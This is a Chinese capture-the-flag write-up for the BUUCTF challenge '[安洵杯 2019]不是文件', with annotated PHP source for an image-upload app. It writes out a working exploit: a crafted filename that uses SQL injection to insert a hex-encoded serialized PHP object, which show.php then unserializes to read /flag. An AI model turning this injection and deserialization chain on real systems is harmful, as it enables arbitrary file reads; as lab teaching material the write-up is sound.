78,【2】BUUCTF WEB .[安洵杯 2019]不是文件

进入靶场

解题过程

点击最下面的英文字即可上传图片

新建一个文本文档

里面内容为空

更改名字为

1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png

知道id=1,一般id是get方式传参,在url处补充?id=1

点击最下面的英文句子

看到flag

源码

upload.php

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <!-- 设置网页的标题,会显示在浏览器的标签页上 -->
    <title>Image Upload</title>
    <!-- 引入外部的 CSS 样式表,用于美化页面 -->
    <link rel="stylesheet" href="./style.css">
    <!-- 设置网页的字符编码为 UTF - 8,确保页面能正确显示各种字符 -->
    <meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
    <!-- 使用 p 标签并设置居中对齐,展示一张图片,图片的宽度为 300,注意这里 length 属性使用有误,应为 height -->
    <p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 height=150></p>
    <!-- 使用 div 标签将表单居中显示 -->
    <div align="center">
        <!-- 创建一个名为 upload 的表单,表单提交的目标地址为空(表示提交到当前页面),使用 POST 方法,
             enctype 设置为 multipart/form - data 用于上传文件 -->
        <form name="upload" action=""  method="post" enctype ="multipart/form-data" >
            <!-- 创建一个文件选择框,用户可以通过此选择要上传的文件 -->
            <input type="file" name="file">
            <!-- 创建一个提交按钮,按钮上显示的文字为 submit -->
            <input type="Submit" value="submit">
        </form>
    </div>

    <!-- 插入一个换行符 -->
    <br> 
    <!-- 创建一个链接,点击后会跳转到 show.php 页面,提示用户可以在此查看上传的图片 -->
    <p><a href="./show.php">You can view the pictures you uploaded here</a></p>
    <!-- 插入一个换行符 -->
    <br>

    <?php
    // 包含 helper.php 文件,该文件可能包含了一些辅助函数或类的定义
    include("./helper.php");
    // 定义一个名为 upload 的类,继承自 helper 类
    class upload extends helper {
        // 定义一个公共方法 upload_base,用于调用父类的 upload 方法
        public function upload_base(){
            $this->upload();
        }
    }

    // 检查 $_FILES 数组是否存在(即是否有文件被上传)
    if ($_FILES){
        // 检查上传文件是否有错误
        if ($_FILES["file"]["error"]){
            // 如果有错误,终止脚本并输出上传失败的提示信息
            die("Upload file failed.");
        }else{
            // 如果没有错误,创建一个 upload 类的实例
            $file = new upload();
            // 调用 upload_base 方法来处理文件上传
            $file->upload_base();
        }
    }

    // 创建一个 helper 类的实例,这里创建实例但未使用,可能后续代码会用到
    $a = new helper();
    ?>
</body>
</html>

show.php

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <!-- 设置页面标题,会显示在浏览器标签栏 -->
    <title>Show Images</title>
    <!-- 引入外部 CSS 样式表,用于美化页面 -->
    <link rel="stylesheet" href="./style.css">
    <!-- 设置页面的字符编码为 UTF - 8,确保正确显示各种字符 -->
    <meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>

    <!-- 显示一个居中对齐的二级标题 -->
    <h2 align="center">Your images</h2>
    <!-- 显示一段提示信息,告知用户查看图片功能未完成,目前仅保存图片名称 -->
    <p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
    <!-- 插入一条水平线 -->
    <hr>

    <?php
    // 包含 helper.php 文件,可能包含一些辅助函数或类
    include("./helper.php");
    // 创建 show 类的一个实例
    $show = new show();
    // 检查 URL 参数中是否有 delete_all
    if($_GET["delete_all"]){
        // 检查 delete_all 参数的值是否为 true
        if($_GET["delete_all"] == "true"){
            // 调用 show 类的 Delete_All_Images 方法删除所有图片记录
            $show->Delete_All_Images();
        }
    }
    // 调用 show 类的 Get_All_Images 方法获取并显示所有图片信息
    $show->Get_All_Images();

    // 定义 show 类,用于处理图片显示和删除操作
    class show{
        // 定义一个公共属性 $con,用于存储数据库连接对象
        public $con;

        // 构造函数,在创建类的实例时自动调用
        public function __construct(){
            // 连接到 MySQL 数据库,指定主机、用户名、密码和数据库名
            $this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
            // 检查数据库连接是否失败
            if (mysqli_connect_errno($this->con)){ 
                // 如果连接失败,终止脚本并输出错误信息
                die("Connect MySQL Fail:".mysqli_connect_error());
            }
        }

        // 定义 Get_All_Images 方法,用于获取并显示所有图片信息
        public function Get_All_Images(){
            // 定义 SQL 查询语句,用于从 images 表中选取所有记录
            $sql = "SELECT * FROM images";
            // 执行 SQL 查询,并将结果存储在 $result 变量中
            $result = mysqli_query($this->con, $sql);
            // 检查查询结果中是否有记录
            if ($result->num_rows > 0){
                // 如果有记录,逐行遍历结果集
                while($row = $result->fetch_assoc()){
                    // 检查图片的 attr 字段是否有值
                    if($row["attr"]){
                        // 对 attr 字段的值进行处理,将 \0\0\0 替换为 \0*\0
                        $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
                        // 对处理后的 attr 字段值进行反序列化
                        $attr = unserialize($attr_temp);
                    }
                    // 输出图片的 id、文件名和路径信息
                    echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
                }
            } else {
                // 如果没有记录,输出提示信息
                echo "<p>You have not uploaded an image yet.</p>";
            }
            // 关闭数据库连接
            mysqli_close($this->con);
        }

        // 定义 Delete_All_Images 方法,用于删除 images 表中的所有记录
        public function Delete_All_Images(){
            // 定义 SQL 删除语句,用于删除 images 表中的所有记录
            $sql = "DELETE FROM images";
            // 执行 SQL 删除语句
            $result = mysqli_query($this->con, $sql);
        }
    }
    ?>

    <!-- 创建一个链接,点击后会调用 Delete_All_Images 方法删除所有图片记录 -->
    <p><a href="show.php?delete_all=true">Delete All Images</a></p>
    <!-- 创建一个链接,点击后跳转到 upload.php 页面进行图片上传 -->
    <p><a href="upload.php">Upload Images</a></p>

</body>
</html>

helper.php

php 复制代码
<?php
// 定义一个名为 helper 的类,该类包含了处理图片上传、文件检查、数据保存等功能的方法
class helper {
    // 定义一个受保护的属性 $folder,用于指定图片上传后的存储文件夹
    protected $folder = "pic/";
    // 定义一个受保护的属性 $ifview,用于控制查看文件功能是否开启,初始值为 False
    protected $ifview = False; 
    // 定义一个受保护的属性 $config,用于指定配置文件的名称
    protected $config = "config.txt";
    // 注释提示查看文件功能尚未完善,暂未开放

    /**
     * 处理文件上传的方法
     * @param string $input 上传文件的表单字段名,默认为 "file"
     */
    public function upload($input = "file")
    {
        // 调用 getfile 方法获取上传文件的信息
        $fileinfo = $this->getfile($input);
        // 初始化一个空数组,用于存储文件相关信息
        $array = array();
        // 将文件的标题信息存入数组
        $array["title"] = $fileinfo['title'];
        // 将文件名信息存入数组
        $array["filename"] = $fileinfo['filename'];
        // 将文件扩展名信息存入数组
        $array["ext"] = $fileinfo['ext'];
        // 将文件存储路径信息存入数组
        $array["path"] = $fileinfo['path'];
        // 获取上传图片的尺寸信息
        $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
        // 提取图片的宽度和高度信息存入新数组
        $my_ext = array("width" => $img_ext[0], "height" => $img_ext[1]);
        // 对图片尺寸信息进行序列化处理,并存入数组
        $array["attr"] = serialize($my_ext);
        // 调用 save 方法将文件信息保存到数据库,并获取保存后的记录 ID
        $id = $this->save($array);
        // 检查保存操作是否成功,如果 ID 为 0 则表示出现问题,终止程序并输出错误信息
        if ($id == 0) {
            die("Something wrong!");
        }
        // 输出换行符
        echo "<br>";
        // 输出文件上传成功的提示信息,并显示文件记录的 ID
        echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
    }

    /**
     * 获取上传文件信息的方法
     * @param string $input 上传文件的表单字段名
     * @return array 包含文件标题、文件名、扩展名和存储路径的数组
     */
    public function getfile($input)
    {
        // 检查输入的表单字段名是否存在
        if (isset($input)) {
            // 调用 check 方法对上传的文件信息进行检查和处理
            $rs = $this->check($_FILES[$input]);
        }
        // 返回处理后的文件信息数组
        return $rs;
    }

    /**
     * 检查上传文件的方法
     * @param array $info 上传文件的信息数组
     * @return array 包含处理后文件标题、文件名、扩展名和存储路径的数组
     */
    public function check($info)
    {
        // 生成一个唯一的文件名前缀,使用时间戳和唯一 ID 进行 MD5 加密后截取部分字符
        $basename = substr(md5(time() . uniqid()), 9, 16);
        // 获取上传文件的原始文件名
        $filename = $info["name"];
        // 提取文件的扩展名
        $ext = substr(strrchr($filename, '.'), 1);
        // 定义允许上传的图片文件扩展名数组
        $cate_exts = array("jpg", "gif", "png", "jpeg");
        // 检查上传文件的扩展名是否在允许的扩展名数组中
        if (!in_array($ext, $cate_exts)) {
            // 如果不在允许范围内,终止程序并输出错误提示信息
            die("<p>Please upload the correct image file!!!</p>");
        }
        // 去除文件名中的扩展名,得到文件标题
        $title = str_replace("." . $ext, '', $filename);
        // 返回包含文件标题、处理后的文件名、扩展名和存储路径的数组
        return array('title' => $title, 'filename' => $basename . "." . $ext, 'ext' => $ext, 'path' => $this->folder . $basename . "." . $ext);
    }

    /**
     * 保存文件信息到数据库的方法
     * @param array $data 包含文件信息的数组
     * @return int 保存记录的 ID
     */
    public function save($data)
    {
        // 检查传入的数据是否为空或不是数组类型
        if (!$data || !is_array($data)) {
            // 如果不符合要求,终止程序并输出错误信息
            die("Something wrong!");
        }
        // 调用 insert_array 方法将数据插入数据库,并获取插入记录的 ID
        $id = $this->insert_array($data);
        // 返回插入记录的 ID
        return $id;
    }

    /**
     * 将数组数据插入数据库的方法
     * @param array $data 包含文件信息的数组
     * @return int 插入记录的 ID
     */
    public function insert_array($data)
    {
        // 连接到 MySQL 数据库,指定主机、用户名、密码和数据库名
        $con = mysqli_connect("127.0.0.1", "r00t", "r00t", "pic_base");
        // 检查数据库连接是否失败
        if (mysqli_connect_errno($con)) {
            // 如果连接失败,终止程序并输出错误信息
            die("Connect MySQL Fail:" . mysqli_connect_error());
        }
        // 初始化一个空数组,用于存储 SQL 语句中的字段名
        $sql_fields = array();
        // 初始化一个空数组,用于存储 SQL 语句中的字段值
        $sql_val = array();
        // 遍历传入的数据数组
        foreach ($data as $key => $value) {
            // 对字段名进行处理,将特定字符替换为 \0\0\0
            $key_temp = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $key);
            // 对字段值进行处理,将特定字符替换为 \0\0\0
            $value_temp = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $value);
            // 将处理后的字段名添加到字段名数组中,并添加反引号
            $sql_fields[] = "`" . $key_temp . "`";
            // 将处理后的字段值添加到字段值数组中,并添加单引号
            $sql_val[] = "'" . $value_temp . "'";
        }
        // 构建插入数据的 SQL 语句
        $sql = "INSERT INTO images (" . (implode(",", $sql_fields)) . ") VALUES(" . (implode(",", $sql_val)) . ")";
        // 执行 SQL 插入语句
        mysqli_query($con, $sql);
        // 获取插入记录的 ID
        $id = mysqli_insert_id($con);
        // 关闭数据库连接
        mysqli_close($con);
        // 返回插入记录的 ID
        return $id;
    }

    /**
     * 查看文件内容的方法
     * @param string $path 文件的路径
     * @return bool|void 如果查看功能未开启,返回 False;否则输出文件内容
     */
    public function view_files($path)
    {
        // 检查查看功能是否开启
        if ($this->ifview == False) {
            // 如果未开启,返回 False
            return False;
           
        }
        // 读取指定路径文件的内容
        $content = file_get_contents($path);
        // 输出文件内容
        echo $content;
    }

    /**
     * 析构函数,在对象销毁时调用
     */
    function __destruct()
    {
        // 注释提示会读取一些配置 HTML 文件
        // 调用 view_files 方法读取配置文件内容
        $this->view_files($this->config);
    }
}

?>

解题思路

由于 array 数组中有 title、filename、ext、path、attr 这 5 个键 - 值对,所以在遍历过程中,sql_fields 数组就会对应生成 5 个列名(即 title、filename、ext、path、attr 处理后的形式),$sql_val 数组也会对应生成 5 个值,以满足构建 INSERT INTO 语句时列名和对应插入值数量匹配的要求,这样才能正确地将数据插入到 images 表中。

show.php会进行反序列化

而attr存储的是图片的宽度和高度

payload

php 复制代码
<?php
class helper {
    protected $ifview = True; 
    protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
php 复制代码
O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}

文件名中不能有双引号,所以将payload进行16进制编码

python 复制代码
string = 'O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}'
hex_encoded = string.encode('utf - 8').hex()
print(hex_encoded)

得到4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

最后用#注释掉值,防止报错

1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png

相关推荐
微臣愚钝3 分钟前
前端【8】HTML+CSS+javascript实战项目----实现一个简单的待办事项列表 (To-Do List)
前端·javascript·css·html
lilu88888881 小时前
AI代码生成器赋能房地产:ScriptEcho如何革新VR/AR房产浏览体验
前端·人工智能·ar·vr
LCG元1 小时前
Vue.js组件开发-实现对视频预览
前端·vue.js·音视频
阿芯爱编程1 小时前
vue3 react区别
前端·react.js·前端框架
烛.照1032 小时前
Nginx部署的前端项目刷新404问题
运维·前端·nginx
YoloMari2 小时前
组件中的emit
前端·javascript·vue.js·微信小程序·uni-app
浪浪山小白兔2 小时前
HTML5 Web Worker 的使用与实践
前端·html·html5
疯狂小料3 小时前
React 路由导航与传参详解
前端·react.js·前端框架
追光少年33224 小时前
Learning Vue 读书笔记 Chapter 2
前端·javascript·vue.js·vue3
前端熊猫4 小时前
JavaScript 的 Promise 对象和 Promise.all 方法的使用
开发语言·前端·javascript